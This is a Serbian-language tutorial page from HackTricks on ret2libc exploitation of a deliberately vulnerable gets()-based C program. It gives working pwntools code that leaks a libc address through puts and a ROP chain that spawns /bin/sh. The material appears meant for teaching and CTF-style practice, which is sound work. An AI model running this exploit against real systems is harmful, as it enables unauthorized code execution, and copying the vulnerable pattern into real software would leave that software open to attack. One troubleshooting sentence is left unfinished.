hacktricks/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address
2024-02-10 13:11:20 +00:00
..
README.md Translated to Serbian 2024-02-10 13:11:20 +00:00
rop-leaking-libc-template.md Translated to Serbian 2024-02-10 13:11:20 +00:00

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Brzi rezime

  1. Pronađite offset prelivanja
  2. Pronađite POP_RDI, PUTS_PLT i MAIN_PLT gadžete
  3. Koristite prethodne gadžete da procurite adresu memorije puts ili neke druge libc funkcije i pronađete verziju libc-a (preuzmite je)
  4. Sa bibliotekom, izračunajte ROP i iskoristite ga

Ostali tutorijali i binarni fajlovi za vežbanje

Ovaj tutorijal će iskoristiti kod/binarni fajl koji je predložen u ovom tutorijalu: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Još korisnih tutorijala: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Kod

Naziv fajla: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector  -no-pie

ROP - Curenje LIBC šablona

Koristiću kod koji se nalazi ovde da napravim eksploit.
Preuzmite eksploit i smestite ga u isti direktorijum kao i ranjivi binarni fajl i dajte potrebne podatke skripti:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

1- Pronalaženje ofseta

Šablonu je potreban ofset pre nego što nastavi sa eksploatacijom. Ako nije pružen, izvršiće potreban kod za pronalaženje ofseta (podrazumevano OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Izvršite python template.py otvoriće se GDB konzola sa programom koji je pao. Unutar te GDB konzole izvršite x/wx $rsp da biste dobili bajtove koji će prepisati RIP. Na kraju, dobijte pomak koristeći python konzolu:

from pwn import *
cyclic_find(0x6161616b)

Nakon pronalaženja ofseta (u ovom slučaju 40), promenite vrednost OFFSET promenljive unutar šablona koristeći tu vrednost.
OFFSET = "A" * 40

Još jedan način je korišćenje: pattern create 1000 -- izvrši do ret -- pattern search $rsp iz GEF.

2- Pronalaženje Gadžeta

Sada trebamo pronaći ROP gadžete unutar binarnog fajla. Ovi ROP gadžeti će biti korisni za pozivanje puts funkcije kako bismo pronašli libc koji se koristi, a kasnije i za pokretanje konačnog napada.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT je potreban da bi se pozvala funkcija puts.
MAIN_PLT je potreban da bi se ponovo pozvala glavna funkcija nakon jedne interakcije kako bi se iskoristio prekoračenje ponovo (beskonačni krugovi iskorišćavanja). Koristi se na kraju svakog ROP-a da bi se program ponovo pozvao.
POP_RDI je potreban da bi se prosledio parametar pozvanoj funkciji.

U ovom koraku nije potrebno izvršiti ništa, jer će pwntools pronaći sve tokom izvršavanja.

3- Pronalaženje LIBC biblioteke

Sada je vreme da se pronađe koja verzija libc biblioteke se koristi. Da bismo to uradili, treba da procurimo adresu u memoriji funkcije puts, a zatim ćemo pretražiti u kojoj verziji biblioteke se nalazi ta verzija puts funkcije.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Da biste to postigli, najvažnija linija izvršenog koda je:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Ovo će poslati nekoliko bajtova dok nije moguće prepisivanje RIP-a: OFFSET.
Zatim će postaviti adresu gadgeta POP_RDI tako da će sledeća adresa (FUNC_GOT) biti sačuvana u registru RDI. To je zato što želimo da pozovemo puts i prosledimo mu adresu PUTS_GOT kao adresu u memoriji puts funkcije koja je sačuvana na adresi koju pokazuje PUTS_GOT.
Nakon toga, pozvaće se PUTS_PLT (sa PUTS_GOT unutar registra RDI) tako da će puts pročitati sadržaj unutar PUTS_GOT (adresu puts funkcije u memoriji) i ispisati je.
Na kraju, ponovo se poziva glavna funkcija kako bismo mogli ponovo iskoristiti prekoračenje.

Na ovaj način smo prevarili puts funkciju da ispise adresu funkcije puts (koja se nalazi u libc biblioteci) u memoriji. Sada kada imamo tu adresu, možemo proveriti koja verzija libc-a se koristi.

Kako eksploatišemo lokalni binarni fajl, nije potrebno utvrditi koja verzija libc-a se koristi (samo pronađite biblioteku u /lib/x86_64-linux-gnu/libc.so.6).
Ali, u slučaju udaljenog napada, objasniću kako to možete pronaći ovde:

3.1- Pretraga verzije libc-a (1)

Možete pretražiti koja biblioteka se koristi na veb stranici: https://libc.blukat.me/
Takođe će vam omogućiti da preuzmete otkrivenu verziju libc-a.

3.2- Pretraga verzije libc-a (2)

Takođe možete uraditi sledeće:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

Ovo će potrajati neko vreme, budite strpljivi.
Da biste to uradili, potrebno nam je:

  • Ime simbola libc-a: puts
  • Procurena adresa libc-a: 0x7ff629878690

Možemo zaključiti koja je libc najverovatnije korišćena.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Dobijamo 2 podudaranja (trebali biste isprobati drugo ako prvo ne radi). Preuzmite prvi:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Kopirajte libc sa libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so u naš radni direktorijum.

3.3- Ostale funkcije za otkrivanje podataka

puts
printf
__libc_start_main
read
gets

4- Pronalaženje adrese libc biblioteke i iskorišćavanje

U ovom trenutku trebali bismo znati koju libc biblioteku koristimo. Pošto iskorišćavamo lokalni binarni fajl, koristiću samo: /lib/x86_64-linux-gnu/libc.so.6

Dakle, na početku template.py fajla promenite vrednost libc promenljive na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Postavite putanju do biblioteke kada je poznata

Davanjem putanje do libc biblioteke, ostatak iskorišćavanja će biti automatski izračunat.

Unutar get_addr funkcije će biti izračunata bazna adresa libc biblioteke:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

{% hint style="info" %} Imajte na umu da konačna adresa osnovne libc biblioteke mora završavati sa 00. Ako to nije slučaj, možda ste otkrili netačnu biblioteku. {% endhint %}

Zatim, adresa funkcije system i adresa stringa "/bin/sh" će biti izračunate na osnovu osnovne adrese libc biblioteke i date libc biblioteke.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Konačno, pripremaće se i slati eksploit za izvršavanje /bin/sh:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Objasnićemo ovaj poslednji ROP. Poslednji ROP (rop1) završava pozivom funkcije main, zatim možemo ponovo iskoristiti prekoračenje (zato je OFFSET ponovo ovde). Zatim želimo da pozovemo POP_RDI koji pokazuje na adresu "/bin/sh" (BINSH) i pozovemo funkciju system (SYSTEM) jer će adresa "/bin/sh" biti prosleđena kao parametar. Na kraju, poziva se adresa funkcije exit tako da proces lepo završava i ne generiše se nikakvo upozorenje.

Na ovaj način će eksploit izvršiti _/bin/sh_** shell.**

4(2)- Korišćenje ONE_GADGET

Takođe možete koristiti ONE_GADGET da biste dobili shell umesto korišćenja system i "/bin/sh". ONE_GADGET će pronaći unutar libc biblioteke način da se dobije shell koristeći samo jednu ROP adresu. Međutim, obično postoje neka ograničenja, najčešća i najlakša za izbegavanje su kao što je [rsp+0x30] == NULL. Pošto kontrolišete vrednosti unutar RSP, samo treba da pošaljete još nekoliko NULL vrednosti kako bi se ograničenje izbeglo.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FAJL

Ovde možete pronaći šablon za iskorišćavanje ove ranjivosti:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

Uobičajeni problemi

MAIN_PLT = elf.symbols['main'] nije pronađen

Ako simbol "main" ne postoji, možete proveriti gde se nalazi glavni kod:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

i postavite adresu ručno:

MAIN_PLT = 0x401080

Puts nije pronađen

Ako binarna datoteka ne koristi Puts, trebali biste provjeriti koristi li

sh: 1: %s%s%s%s%s%s%s%s: not found

Ako pronađete ovu grešku nakon što ste stvorili sve eksploate: sh: 1: %s%s%s%s%s%s%s%s: not found

Pokušajte oduzeti 64 bajta od adrese "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: